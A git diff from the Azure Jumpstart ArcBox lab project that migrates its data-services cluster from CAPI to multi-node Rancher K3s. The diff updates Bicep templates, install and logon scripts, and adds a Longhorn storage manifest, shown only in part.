.../artifacts/installK3s.sh | 216 +- .../artifacts/longhorn.yaml | 4571 +++++++++++++++++ .../bicep/clientVm/clientVm.bicep | 7 +- .../bicep/kubernetes/aks.bicep | 2 +- .../bicep/kubernetes/ubuntuRancher.bicep | 107 +- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 150 + azure_jumpstart_arcbox/bicep/main.bicep | 55 +- 10 files changed, 5040 insertions(+), 158 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/longhorn.yaml create mode 100644 azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index f4466a3811..90266d939a 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -21,7 +21,7 @@ param ( [string]$POSTGRES_SERVICE_TYPE, [string]$stagingStorageAccountName, [string]$workspaceName, - [string]$capiArcDataClusterName, + [string]$k3sArcDataClusterName, [string]$k3sArcClusterName, [string]$aksArcClusterName, [string]$aksdrArcClusterName, @@ -31,7 +31,8 @@ param ( [string]$rdpPort, [string]$sshPort, [string]$vmAutologon, - [string]$addsDomainName + [string]$addsDomainName, + [string]$customLocationRPOID ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -51,7 +52,7 @@ param ( [System.Environment]::SetEnvironmentVariable('POSTGRES_SERVICE_TYPE', $POSTGRES_SERVICE_TYPE, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('stagingStorageAccountName', $stagingStorageAccountName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('workspaceName', $workspaceName, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('capiArcDataClusterName', $capiArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('k3sArcDataClusterName', $k3sArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('k3sArcClusterName', $k3sArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubUser', $githubUser, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) @@ -60,6 +61,7 @@ param ( [System.Environment]::SetEnvironmentVariable('addsDomainName', $addsDomainName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksArcClusterName', $aksArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksdrArcClusterName', $aksdrArcClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('customLocationRPOID', $customLocationRPOID, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ArcBoxDir', "C:\ArcBox", [System.EnvironmentVariableTarget]::Machine) @@ -242,6 +244,7 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } # DataOps @@ -269,6 +272,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } # Full diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index b60a8d6f8b..406795706e 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -29,44 +29,49 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:capiArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "CAPI" | Where-Object { $_ -ne "" } -$Env:capiArcDataClusterName=$Env:capiArcDataClusterName -replace "`n","" +$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-DataSvc-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcDataClusterName=$Env:k3sArcDataClusterName -replace "`n","" + +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" # Required for CLI commands Write-Header "Az CLI Login" az login --identity --tenant $spnTenantId az account set -s $env:subscriptionId -# Downloading CAPI Kubernetes cluster kubeconfig file -Write-Header "Downloading CAPI K8s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/config" +# Downloading ArcBox-DataSvc-K3s Kubernetes cluster kubeconfig file +Write-Header "Downloading ArcBox-DataSvc-K3s K8s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" $context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup +$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Container,Object -Permission racwdlup $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" -# Downloading Rancher K3s cluster kubeconfig file -Write-Header "Downloading K3s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-k3s/config" -$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup +# Downloading ArcBox-DataSvc-K3s log file +Write-Header "Downloading ArcBox-DataSvc-K3s Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# Downloading 'installCAPI.log' log file -Write-Header "Downloading CAPI Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/installCAPI.log" +# Downloading ArcBox-K3s cluster kubeconfig file +Write-Header "Downloading ArcBox-K3s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/config" +$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context +$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Container,Object -Permission racwdlup $sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installCAPI.log" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" +$Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" +kubectx -# Downloading 'installK3s.log' log file -Write-Header "Downloading K3s Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-k3s/installK3s.log" +# Downloading ArcBox-K3s log file +Write-Header "Downloading ArcBox-K3s Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installK3s.log" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# Merging kubeconfig files from CAPI and Rancher K3s -Write-Header "Merging CAPI & K3s Kubeconfigs" +# Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s +Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp @@ -92,13 +97,18 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v +# Longhorn setup for RWX-capable storage class +Write-Header "Creating longhorn storage" +kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" +Start-Sleep -Seconds 30 + # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" az k8s-extension create ` --name $osmMeshName ` --extension-type Microsoft.openservicemesh ` --scope cluster ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --cluster-type connectedClusters ` --version $osmReleaseVersion ` @@ -128,7 +138,7 @@ Write-Header "Applying GitOps Configs" # Create GitOps config for NGINX Ingress Controller Write-Host "Creating GitOps config for NGINX Ingress Controller" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-nginx ` --namespace $ingressNamespace ` @@ -141,7 +151,7 @@ az k8s-configuration flux create ` # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore ` --cluster-type connectedClusters ` @@ -152,7 +162,7 @@ az k8s-configuration flux create ` # Create GitOps config for Bookstore RBAC Write-Host "Creating GitOps config for Bookstore RBAC" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore-rbac ` --cluster-type connectedClusters ` @@ -165,7 +175,7 @@ az k8s-configuration flux create ` # Create GitOps config for Bookstore Traffic Split Write-Host "Creating GitOps config for Bookstore Traffic Split" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore-osm ` --cluster-type connectedClusters ` @@ -178,7 +188,7 @@ az k8s-configuration flux create ` # Create GitOps config for Hello-Arc application Write-Host "Creating GitOps config for Hello-Arc application" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-helloarc ` --namespace hello-arc ` @@ -212,7 +222,7 @@ az k8s-extension create ` --name 'akvsecretsprovider' ` --extension-type Microsoft.AzureKeyVaultSecretsProvider ` --scope cluster ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --cluster-type connectedClusters ` --release-namespace kube-system ` @@ -270,8 +280,8 @@ New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallFo Write-Header "Creating Desktop Icons" -# Creating CAPI Hello Arc Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\CAPI Hello-Arc.lnk" +# Creating K3s Hello Arc Icon on Desktop +$shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "https://$certdns" @@ -279,8 +289,8 @@ $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() -# Creating CAPI Bookstore Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\CAPI Bookstore.lnk" +# Creating K3s Bookstore Icon on Desktop +$shortcutLocation = "$Env:Public\Desktop\K3s Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "pwsh.exe" diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index a304f2a278..68facfccaf 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -4,8 +4,8 @@ $certdns = "arcbox.devops.com" Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log -# Switch kubectl context to arcbox-capi -kubectx arcbox-capi +# Switch kubectl context to arcbox-k3s +kubectx arcbox-datasvc-k3s ############################ # - Deploy Ingress for Reset diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 2ef7db3bcb..04df2fa835 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -14,24 +14,30 @@ echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $deployBastion:$9 | awk '{print substr($1,2); }' >> vars.sh +echo $subscriptionId:$5 | awk '{print substr($1,2); }' >> vars.sh +echo $vmName:$6 | awk '{print substr($1,2); }' >> vars.sh +echo $location:$7 | awk '{print substr($1,2); }' >> vars.sh +echo $stagingStorageAccountName:$8 | awk '{print substr($1,2); }' >> vars.sh +echo $logAnalyticsWorkspace:$9 | awk '{print substr($1,2); }' >> vars.sh echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh +echo $storageContainerName:${11} | awk '{print substr($1,2); }' >> vars.sh +echo $k3sControlPlane:${12} | awk '{print substr($1,2); }' >> vars.sh + sed -i '2s/^/export adminUsername=/' vars.sh sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export vmName=/' vars.sh -sed -i '7s/^/export location=/' vars.sh -sed -i '8s/^/export stagingStorageAccountName=/' vars.sh -sed -i '9s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '10s/^/export deployBastion=/' vars.sh +sed -i '6s/^/export subscriptionId=/' vars.sh +sed -i '7s/^/export vmName=/' vars.sh +sed -i '8s/^/export location=/' vars.sh +sed -i '9s/^/export stagingStorageAccountName=/' vars.sh +sed -i '10s/^/export logAnalyticsWorkspace=/' vars.sh sed -i '11s/^/export templateBaseUrl=/' vars.sh +sed -i '12s/^/export storageContainerName=/' vars.sh +sed -i '13s/^/export k3sControlPlane=/' vars.sh +# Set k3 deployment variables export K3S_VERSION="1.28.2+k3s1" # Do not change! chmod +x vars.sh @@ -44,79 +50,139 @@ sudo curl -v -o /etc/profile.d/welcomeK3s.sh ${templateBaseUrl}artifacts/welcome sudo -u $adminUsername mkdir -p /home/${adminUsername}/jumpstart_logs while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installK3s.log /home/${adminUsername}/jumpstart_logs/installK3s.log; done & -# Installing Rancher K3s cluster (single control plane) -echo "" -publicIp=$(hostname -i) -sudo mkdir ~/.kube -sudo -u $adminUsername mkdir /home/${adminUsername}/.kube -curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik --node-external-ip ${publicIp} --bind-address ${publicIp}" INSTALL_K3S_VERSION=v${K3S_VERSION} sh - -sudo chmod 644 /etc/rancher/k3s/k3s.yaml -sudo kubectl config rename-context default arcbox-k3s --kubeconfig /etc/rancher/k3s/k3s.yaml -sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging -sudo chown -R $adminUsername /home/${adminUsername}/.kube/ -sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging - -# Installing Helm 3 -sudo snap install helm --classic - -echo "" -echo "Making sure Rancher K3s cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' -echo "" - # Installing Azure CLI & Azure Arc extensions curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -sudo -u $adminUsername az extension add --name connectedk8s -sudo -u $adminUsername az extension add --name k8s-configuration -sudo -u $adminUsername az extension add --name k8s-extension - echo "" echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId -az -v echo "" +sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +sudo -u $adminUsername az account set --subscription $subscriptionId +az -v -# Registering Azure resource providers -sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait - -sudo service sshd restart - -# Onboard the cluster to Azure Arc -resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) -workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) -sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' --only-show-errors - -# Enabling Container Insights and Microsoft Defender for Containers cluster extensions -echo "" -sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors -echo "" -sudo -u $adminUsername az k8s-extension create -n "azure-defender" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +if [[ "$k3sControlPlane" == "true" ]]; then + + # Installing Azure Arc extensions + echo "" + echo "Installing Azure Arc extensions" + echo "" + sudo -u $adminUsername az extension add --name connectedk8s + sudo -u $adminUsername az extension add --name k8s-configuration + sudo -u $adminUsername az extension add --name k8s-extension + + # Installing Rancher K3s cluster (single control plane) + echo "" + echo "Installing Rancher K3s cluster" + echo "" + publicIp=$(hostname -i) + sudo mkdir ~/.kube + sudo -u $adminUsername mkdir /home/${adminUsername}/.kube + curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik --disable servicelb --node-ip ${publicIp} --node-external-ip ${publicIp} --bind-address ${publicIp} --tls-san ${publicIp}" INSTALL_K3S_VERSION=v${K3S_VERSION} K3S_KUBECONFIG_MODE="644" sh - + if [[ $? -ne 0 ]]; then + echo "ERROR: K3s installation failed" + exit 1 + fi + # Renaming default context to k3s cluster name + context=$(echo $storageContainerName | sed 's/-[^-]*$//') + sudo kubectl config rename-context default $context --kubeconfig /etc/rancher/k3s/k3s.yaml + sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config + sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config + sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging + sudo chown -R $adminUsername /home/${adminUsername}/.kube/ + sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging + + # Installing Helm 3 + echo "" + echo "Installing Helm" + echo "" + sudo snap install helm --classic + if [[ $? -ne 0 ]]; then + echo "ERROR: Helm installation failed" + exit 1 + fi + + echo "" + echo "Making sure Rancher K3s cluster is ready..." + echo "" + sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null + sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' + + # Copying Rancher K3s kubeconfig file to staging storage account + echo "" + echo "Copying Rancher K3s kubeconfig file to staging storage account" + echo "" + localPath="/home/$adminUsername/.kube/config" + k3sClusterNodeConfig="/home/$adminUsername/k3sClusterNodeConfig.yaml" + echo "k3sNodeToken: $(sudo cat /var/lib/rancher/k3s/server/node-token)" >> $k3sClusterNodeConfig + echo "k3sClusterIp: $publicIp" >> $k3sClusterNodeConfig + sudo -u $adminUsername az extension add --upgrade -n storage-preview + storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') + storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') + sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey + sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath + sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $k3sClusterNodeConfig + + # Registering Azure resource providers + echo "" + echo "Registering Azure resource providers" + echo "" + sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait + sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait + sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait + sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait + sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait + + # sudo service sshd restart + # Onboard the cluster to Azure Arc + echo "" + echo "Onboarding the cluster to Azure Arc" + echo "" + resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) + workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) + sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' --debug + + # Enabling Container Insights and Microsoft Defender for Containers cluster extensions + echo "" + echo "Enabling Container Insights and Microsoft Defender for Containers cluster extensions" + echo "" + sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors + sudo -u $adminUsername az k8s-extension create -n "azure-defender" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors + + # Enabling Azure Policy for Kubernetes on the cluster + echo "" + echo "Enabling Azure Policy for Kubernetes on the cluster" + echo "" + sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors + +else + # Downloading k3s control plane details + echo "" + echo "Downloading k3s control plane details" + echo "" + k3sClusterNodeConfig="k3sClusterNodeConfig.yaml" + sudo -u $adminUsername az extension add --upgrade -n storage-preview + storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') + storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') + sudo -u $adminUsername az storage azcopy blob download --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source "$k3sClusterNodeConfig" --destination "/home/$adminUsername/$k3sClusterNodeConfig" + + # Installing Rancher K3s cluster (single worker node) + echo "" + echo "Installing Rancher K3s cluster node" + echo "" + k3sNodeToken=$(grep 'k3sNodeToken' "/home/$adminUsername/$k3sClusterNodeConfig" | awk '{print $2}') + k3sClusterIp=$(grep 'k3sClusterIp' "/home/$adminUsername/$k3sClusterNodeConfig" | awk '{print $2}') + curl -sfL https://get.k3s.io | K3S_URL=https://${k3sClusterIp}:6443 K3S_TOKEN=${k3sNodeToken} sh - + if [[ $? -ne 0 ]]; then + echo "ERROR: Failed to add k3s worker nodes" + exit 1 + fi + + sudo service sshd restart +fi -# Enabling Azure Policy for Kubernetes on the cluster +# Uploading this script log to staging storage for ease of troubleshooting echo "" -sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors - -# Copying Rancher K3s kubeconfig file to staging storage account +echo "Uploading the script logs to staging storage" echo "" -sudo -u $adminUsername az extension add --upgrade -n storage-preview -storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') -storageContainerName="staging-k3s" -localPath="/home/$adminUsername/.kube/config" -storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') -sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath - -# Uploading this script log to staging storage for ease of troubleshooting log="/home/${adminUsername}/jumpstart_logs/installK3s.log" -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log +sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log --destination "installK3s-$vmName.log" \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/longhorn.yaml b/azure_jumpstart_arcbox/artifacts/longhorn.yaml new file mode 100644 index 0000000000..b03ab89440 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/longhorn.yaml @@ -0,0 +1,4571 @@ +--- +# Builtin: "helm template" does not respect --create-namespace +apiVersion: v1 +kind: Namespace +metadata: + name: longhorn-system +--- +# Source: longhorn/templates/priorityclass.yaml +apiVersion: scheduling.k8s.io/v1 +kind: PriorityClass +metadata: + name: "longhorn-critical" + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +description: "Ensure Longhorn pods have the highest priority to prevent any unexpected eviction by the Kubernetes scheduler under node pressure" +globalDefault: false +preemptionPolicy: PreemptLowerPriority +value: 1000000000 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-service-account + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: 